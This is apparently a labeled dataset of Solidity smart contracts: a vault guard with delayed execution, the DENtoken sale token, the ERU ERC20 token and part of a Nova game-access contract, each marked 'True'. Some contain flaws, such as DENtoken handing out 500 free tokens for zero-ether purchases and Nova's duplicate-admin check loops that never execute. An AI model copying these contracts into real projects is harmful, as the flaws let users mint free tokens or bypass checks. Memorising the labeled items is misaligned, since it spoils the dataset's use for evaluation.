return wmul(startPrice, wpow(factor, time, WAD));
}
}
contract Delayed {
error Delayed__setParam_notDelayed();
error Delayed__delay_invalidEta();
error Delayed__execute_unknown();
error Delayed__execute_stillDelayed();
error Delayed__execute_executionError();
mapping(bytes32 => bool) public queue;
uint256 public delay;
event SetParam(bytes32 param, uint256 data);
event Queue(address target, bytes data, uint256 eta);
event Unqueue(address target, bytes data, uint256 eta);
event Execute(address target, bytes data, uint256 eta);
constructor(uint256 delay_) {
delay = delay_;
emit SetParam("delay", delay_);
}
function _setParam(bytes32 param, uint256 data) internal {
if (param == "delay") delay = data;
emit SetParam(param, data);
}
function _delay(
address target,
bytes memory data,
uint256 eta
) internal {
if (eta < block.timestamp + delay) revert Delayed__delay_invalidEta();
queue[keccak256(abi.encode(target, data, eta))] = true;
emit Queue(target, data, eta);
}
function _skip(
address target,
bytes memory data,
uint256 eta
) internal {
queue[keccak256(abi.encode(target, data, eta))] = false;
emit Unqueue(target, data, eta);
}
function execute(
address target,
bytes calldata data,
uint256 eta
) external returns (bytes memory out) {
bytes32 callHash = keccak256(abi.encode(target, data, eta));
if (!queue[callHash]) revert Delayed__execute_unknown();
if (block.timestamp < eta) revert Delayed__execute_stillDelayed();
queue[callHash] = false;
bool ok;
(ok, out) = target.call(data);
if (!ok) revert Delayed__execute_executionError();
emit Execute(target, data, eta);
}
}interface IGuard {
function isGuard() external view returns (bool);
}
abstract contract BaseGuard is Delayed, IGuard {
/// ======== Custom Errors ======== ///
error BaseGuard__isSenatus_notSenatus();
error BaseGuard__isGuardian_notGuardian();
error BaseGuard__isDelayed_notSelf(address, address);
error BaseGuard__inRange_notInRange();
/// ======== Storage ======== ///
/// @notice Address of the DAO
address public immutable senatus;
/// @notice Address of the guardian
address public guardian;
constructor(
address senatus_,
address guardian_,
uint256 delay
) Delayed(delay) {
senatus = senatus_;
guardian = guardian_;
}
modifier isSenatus() {
if (msg.sender != senatus) revert BaseGuard__isSenatus_notSenatus();
_;
}
modifier isGuardian() {
if (msg.sender != guardian) revert BaseGuard__isGuardian_notGuardian();
_;
}
modifier isDelayed() {
if (msg.sender != address(this)) revert BaseGuard__isDelayed_notSelf(msg.sender, address(this));
_;
}
/// @notice Callback method which allows Guard to check if he has sufficient rights over the corresponding contract
/// @return bool True if he has sufficient rights
function isGuard() external view virtual override returns (bool);
/// @notice Updates the address of the guardian
/// @dev Can only be called by Senatus
/// @param guardian_ Address of the new guardian
function setGuardian(address guardian_) external isSenatus {
guardian = guardian_;
}
/// ======== Capabilities ======== ///
/// @notice Updates the time which has to elapse for certain parameter updates
/// @dev Can only be called by Senatus
/// @param delay Time which has to elapse before parameter can be updated [seconds]
function setDelay(uint256 delay) external isSenatus {
_setParam("delay", delay);
}
/// @notice Schedule method call for methods which have to be delayed
/// @dev Can only be called by the guardian
/// @param data Call data
function schedule(bytes calldata data) external isGuardian {
_delay(address(this), data, block.timestamp + delay);
}
/// ======== Helper Methods ======== ///
/// @notice Checks if `value` is at least equal to `min_` or at most equal to `max`
/// @dev Revers if check failed
/// @param value Value to check
/// @param min_ Min. value for `value`
/// @param max Max. value for `value`
function _inRange(
uint256 value,
uint256 min_,
uint256 max
) internal pure {
if (max < value || value < min_) revert BaseGuard__inRange_notInRange();
}
}
contract PriceCalculatorFactory {
function newLinearDecrease(address owner) public returns (LinearDecrease priceCalculator) {
priceCalculator = new LinearDecrease();
priceCalculator.allowCaller(priceCalculator.ANY_SIG(), owner);
priceCalculator.blockCaller(priceCalculator.ANY_SIG(), address(this));
}
function newStairstepExponentialDecrease(address owner)
public
returns (StairstepExponentialDecrease priceCalculator)
{
priceCalculator = new StairstepExponentialDecrease();
priceCalculator.allowCaller(priceCalculator.ANY_SIG(), owner);
priceCalculator.blockCaller(priceCalculator.ANY_SIG(), address(this));
}
function newExponentialDecrease(address owner) public returns (ExponentialDecrease priceCalculator) {
priceCalculator = new ExponentialDecrease();
priceCalculator.allowCaller(priceCalculator.ANY_SIG(), owner);
priceCalculator.blockCaller(priceCalculator.ANY_SIG(), address(this));
}
}
/// @title VaultGuard
/// @notice Contract which guards parameter updates for Vaults
contract VaultGuard is BaseGuard {
/// ======== Custom Errors ======== ///
error VaultGuard__isGuard_cantCall();
error VaultGuard__setVault_cantCall();
/// ======== Storage ======== ///
PriceCalculatorFactory public priceCalculatorFactory;
/// @notice Address of Codex
Codex public codex;
/// @notice Address of Publican
Publican public publican;
/// @notice Address of Limes
Limes public limes;
/// @notice Address of NoLossCollateralAuction
NoLossCollateralAuction public collateralAuction;
/// @notice Address of Collybus
Collybus public collybus;
constructor(
address senatus,
address guardian,
uint256 delay,
address codex_,
address publican_,
address limes_,
address collybus_,
address collateralAuction_,
address priceCalculatorFactory_
) BaseGuard(senatus, guardian, delay) {
codex = Codex(codex_);
publican = Publican(publican_);
limes = Limes(limes_);
collybus = Collybus(collybus_);
collateralAuction = NoLossCollateralAuction(collateralAuction_);
priceCalculatorFactory = PriceCalculatorFactory(priceCalculatorFactory_);
}
/// @notice See `BaseGuard`
function isGuard() external view override returns (bool) {
if (
!codex.canCall(codex.ANY_SIG(), address(this)) ||
!publican.canCall(publican.ANY_SIG(), address(this)) ||
!limes.canCall(limes.ANY_SIG(), address(this)) ||
!collybus.canCall(collybus.ANY_SIG(), address(this)) ||
!collateralAuction.canCall(collateralAuction.ANY_SIG(), address(this))
) revert VaultGuard__isGuard_cantCall();
return true;
}
/// ======== Capabilities ======== ///
/// @notice Sets the initial parameters for a Vault
/// @dev Can only be called by the guardian
/// @param vault Address of the vault to initialize
/// @param auctionGuard Address of the AuctionGuard
/// @param calculatorType PriceCalculator to use (LinearDecrease, StairstepExponentialDecrease, ExponentialDecrease)
/// @param debtCeiling See Codex
/// @param debtFloor See Codex
/// @param interestPerSecond See Publican
/// @param multiplier See CollateralAuction
/// @param maxAuctionDuration See CollateralAuction
/// @param liquidationRatio See Collybus
/// @param liquidationPenalty See Limes
/// @param maxDebtOnAuction See Limes
function setVault(
address vault,
address auctionGuard,
bytes32 calculatorType,
uint256 debtCeiling,
uint256 debtFloor,
uint256 interestPerSecond,
uint256 multiplier,
uint256 maxAuctionDuration,
uint128 liquidationRatio,
uint256 liquidationPenalty,
uint256 maxDebtOnAuction
) public isGuardian {
if (!IGuarded(vault).canCall(IGuarded(vault).ANY_SIG(), address(this))) revert VaultGuard__setVault_cantCall();
// fails if vault is already initialized
codex.init(vault);
publican.init(vault);
codex.allowCaller(codex.modifyBalance.selector, vault);
// deploy new PriceCalculator
address calculator;
if (calculatorType == "LinearDecrease") {
LinearDecrease ld = priceCalculatorFactory.newLinearDecrease(address(this));
calculator = address(ld);
ld.setParam("duration", maxAuctionDuration);
ld.allowCaller(ld.ANY_SIG(), auctionGuard);
} else if (calculatorType == "StairstepExponentialDecrease") {
StairstepExponentialDecrease sed = priceCalculatorFactory.newStairstepExponentialDecrease(address(this));
calculator = address(sed);
sed.setParam("duration", maxAuctionDuration);
sed.allowCaller(sed.ANY_SIG(), auctionGuard);
} else if (calculatorType == "ExponentialDecrease") {
ExponentialDecrease ed = priceCalculatorFactory.newExponentialDecrease(address(this));
calculator = address(ed);
ed.setParam("duration", maxAuctionDuration);
ed.allowCaller(ed.ANY_SIG(), auctionGuard);
}
// Internal references set up
limes.setParam(vault, "collateralAuction", address(collateralAuction));
collateralAuction.setParam(vault, "calculator", address(calculator));
collateralAuction.setParam(vault, "collybus", address(collybus));
// Config
codex.setParam(vault, "debtCeiling", debtCeiling);
codex.setParam(vault, "debtFloor", debtFloor);
publican.setParam(vault, "interestPerSecond", interestPerSecond);
collateralAuction.setParam(vault, "multiplier", multiplier);
collateralAuction.setParam(vault, "maxAuctionDuration", maxAuctionDuration);
collybus.setParam(vault, "liquidationRatio", liquidationRatio);
limes.setParam(vault, "liquidationPenalty", liquidationPenalty);
limes.setParam(vault, "maxDebtOnAuction", maxDebtOnAuction);
collateralAuction.updateAuctionDebtFloor(vault);
}
/// @notice Locks a Vault
/// @dev Can only be called by the guardian
/// @param vault Address of the vault to lock
function lockVault(address vault) public isGuardian {
codex.blockCaller(codex.modifyBalance.selector, vault);
IVault(vault).lock();
}
} | True | [
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'DENtoken'
//
// NAME : DENtoken
// Symbol : DEN
// Total supply: 25,000,000
// Decimals : 18
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DENtoken is StandardToken {
string public constant name = "DENtoken";
string public constant symbol = "DEN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 25 * 10**6 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function DENtoken() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
/**
* If the user sends 0 ether, he receives 500
* If he sends 0.01 ether, he receives 1000
* If he sends 0.1 ether he receives 10,000
* If he sends 1 ether, he receives 100,000
* If he sends 2 ether, he receives 200,000
* If he sends 5 ether, he receives 500,000
* If he sends 10 ether, he receives 1,000,000
*/
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 500 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 1000 * (10**uint256(decimals));
}
if( _weiAmount == 0.02 ether){
amountOfTokens = 2000 * (10**uint256(decimals));
}
if( _weiAmount == 0.03 ether){
amountOfTokens = 3000 * (10**uint256(decimals));
}
if( _weiAmount == 0.04 ether){
amountOfTokens = 4000 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 5000 * (10**uint256(decimals));
}
if( _weiAmount == 0.06 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if( _weiAmount == 0.07 ether){
amountOfTokens = 7000 * (10**uint256(decimals));
}
if( _weiAmount == 0.08 ether){
amountOfTokens = 8000 * (10**uint256(decimals));
}
if( _weiAmount == 0.09 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 10000 * (10**uint256(decimals));
}
if( _weiAmount == 0.2 ether){
amountOfTokens = 20000 * (10**uint256(decimals));
}
if( _weiAmount == 0.3 ether){
amountOfTokens = 30000 * (10**uint256(decimals));
}
if( _weiAmount == 0.4 ether){
amountOfTokens = 40000 * (10**uint256(decimals));
}
if( _weiAmount == 0.5 ether){
amountOfTokens = 50000 * (10**uint256(decimals));
}
if( _weiAmount == 0.6 ether){
amountOfTokens = 60000 * (10**uint256(decimals));
}
if( _weiAmount == 0.7 ether){
amountOfTokens = 70000 * (10**uint256(decimals));
}
if( _weiAmount == 0.8 ether){
amountOfTokens = 80000 * (10**uint256(decimals));
}
if( _weiAmount == 0.9 ether){
amountOfTokens = 90000 * (10**uint256(decimals));
}
if( _weiAmount == 1 ether){
amountOfTokens = 100000 * (10**uint256(decimals));
}
if( _weiAmount == 2 ether){
amountOfTokens = 200000 * (10**uint256(decimals));
}
if( _weiAmount == 3 ether){
amountOfTokens = 300000 * (10**uint256(decimals));
}
if( _weiAmount == 4 ether){
amountOfTokens = 400000 * (10**uint256(decimals));
}
if( _weiAmount == 5 ether){
amountOfTokens = 500000 * (10**uint256(decimals));
}
if( _weiAmount == 6 ether){
amountOfTokens = 600000 * (10**uint256(decimals));
}
if( _weiAmount == 7 ether){
amountOfTokens = 700000 * (10**uint256(decimals));
}
if( _weiAmount == 8 ether){
amountOfTokens = 800000 * (10**uint256(decimals));
}
if( _weiAmount == 9 ether){
amountOfTokens = 900000 * (10**uint256(decimals));
}
if( _weiAmount == 10 ether){
amountOfTokens = 1000000 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-01-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = " Erudite";
_symbol = "ERU";
_decimals = 18;
_totalSupply = 1000000000* 10**uint(_decimals);
_balances[msg.sender] = _totalSupply;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function burn (uint256 amount) public onlyOwner {
_burn(msg.sender,amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
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pragma solidity ^0.4.23;
// @title iNovaStaking
// @dev The interface for cross-contract calls to the Nova Staking contract
// @author Dragon Foundry (https://www.nvt.gg)
// (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source.
contract iNovaStaking {
function balanceOf(address _owner) public view returns (uint256);
}
// @title iNovaGame
// @dev The interface for cross-contract calls to the Nova Game contract
// @author Dragon Foundry (https://www.nvt.gg)
// (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source.
contract iNovaGame {
function isAdminForGame(uint _game, address account) external view returns(bool);
// List of all games tracked by the Nova Game contract
uint[] public games;
}
// @title SafeMath
// @dev Math operations with safety checks that throw on error
library SafeMath {
// @dev Multiplies two numbers, throws on overflow.
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "mul failed");
return c;
}
// @dev Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
// @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub fail");
return a - b;
}
// @dev Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "add fail");
return c;
}
}
// @title Nova Game Access (Nova Token Game Access Control)
// @dev NovaGame contract for controlling access to games, and allowing managers to add and remove operator accounts
// @author Dragon Foundry (https://www.nvt.gg)
// (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source.
contract NovaGameAccess is iNovaGame {
using SafeMath for uint256;
event AdminPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin);
event OperatorPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin);
// Admin addresses are stored both by gameId and address
mapping(uint => address[]) public adminAddressesByGameId;
mapping(address => uint[]) public gameIdsByAdminAddress;
// Stores admin status (as a boolean) by gameId and account
mapping(uint => mapping(address => bool)) public gameAdmins;
// Reference to the Nova Staking contract
iNovaStaking public stakingContract;
// @dev Access control modifier to limit access to game admin accounts
modifier onlyGameAdmin(uint _game) {
require(gameAdmins[_game][msg.sender]);
_;
}
constructor(address _stakingContract)
public
{
stakingContract = iNovaStaking(_stakingContract);
}
// @dev gets the admin status for a game & account
// @param _game - the gameId of the game
// @param _account - the address of the user
// @returns bool - the admin status of the requested account for the requested game
function isAdminForGame(uint _game, address _account)
external
view
returns(bool) {
return gameAdmins[_game][_account];
}
// @dev gets the list of admins for a game
// @param _game - the gameId of the game
// @returns address[] - the list of admin addresses for the requested game
function getAdminsForGame(uint _game)
external
view
returns(address[]) {
return adminAddressesByGameId[_game];
}
// @dev gets the list of games that the requested account is the admin of
// @param _account - the address of the user
// @returns uint[] - the list of game Ids for the requested account
function getGamesForAdmin(address _account)
external
view
returns(uint[]) {
return gameIdsByAdminAddress[_account];
}
// @dev Adds an address as an admin for a game
// @notice Can only be called by an admin of the game
// @param _game - the gameId of the game
// @param _account - the address of the user
function addAdminAccount(uint _game, address _account)
external
onlyGameAdmin(_game)
{
require(_account != msg.sender);
require(_account != address(0));
require(!gameAdmins[_game][_account]);
_addAdminAccount(_game, _account);
}
// @dev Removes an address from an admin for a game
// @notice Can only be called by an admin of the game.
// @notice Can't remove your own account's admin privileges.
// @param _game - the gameId of the game
// @param _account - the address of the user to remove admin privileges.
function removeAdminAccount(uint _game, address _account)
external
onlyGameAdmin(_game)
{
require(_account != msg.sender);
require(gameAdmins[_game][_account]);
address[] storage opsAddresses = adminAddressesByGameId[_game];
uint startingLength = opsAddresses.length;
// Yes, "i < startingLength" is right. 0 - 1 == uint.maxvalue, not -1.
for (uint i = opsAddresses.length - 1; i < startingLength; i--) {
if (opsAddresses[i] == _account) {
uint newLength = opsAddresses.length.sub(1);
opsAddresses[i] = opsAddresses[newLength];
delete opsAddresses[newLength];
opsAddresses.length = newLength;
}
}
uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];
startingLength = gamesByAdmin.length;
for (i = gamesByAdmin.length - 1; i < startingLength; i--) {
if (gamesByAdmin[i] == _game) {
newLength = gamesByAdmin.length.sub(1);
gamesByAdmin[i] = gamesByAdmin[newLength];
delete gamesByAdmin[newLength];
gamesByAdmin.length = newLength;
}
}
gameAdmins[_game][_account] = false;
emit AdminPrivilegesChanged(_game, _account, false);
}
// @dev Adds an address as an admin for a game
// @notice Can only be called by an admin of the game
// @notice Operator privileges are managed on the layer 2 network
// @param _game - the gameId of the game
// @param _account - the address of the user to
// @param _isOperator - "true" to grant operator privileges, "false" to remove them
function setOperatorPrivileges(uint _game, address _account, bool _isOperator)
external
onlyGameAdmin(_game)
{
emit OperatorPrivilegesChanged(_game, _account, _isOperator);
}
// @dev Internal function to add an address as an admin for a game
// @param _game - the gameId of the game
// @param _account - the address of the user
function _addAdminAccount(uint _game, address _account)
internal
{
address[] storage opsAddresses = adminAddressesByGameId[_game];
require(opsAddresses.length < 256, "a game can only have 256 admins");
for (uint i = opsAddresses.length; i < opsAddresses.length; i--) {
require(opsAddresses[i] != _account);
}
uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];
require(gamesByAdmin.length < 256, "you can only own 256 games");
for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) {
require(gamesByAdmin[i] != _game, "you can't become an operator twice");
}
gamesByAdmin.push(_game);
opsAddresses.push(_account);
gameAdmins[_game][_account] = true;
emit AdminPrivilegesChanged(_game, _account, true);
}
}
// @title Nova Game (Nova Token Game Data)
// @dev NovaGame contract for managing all game data
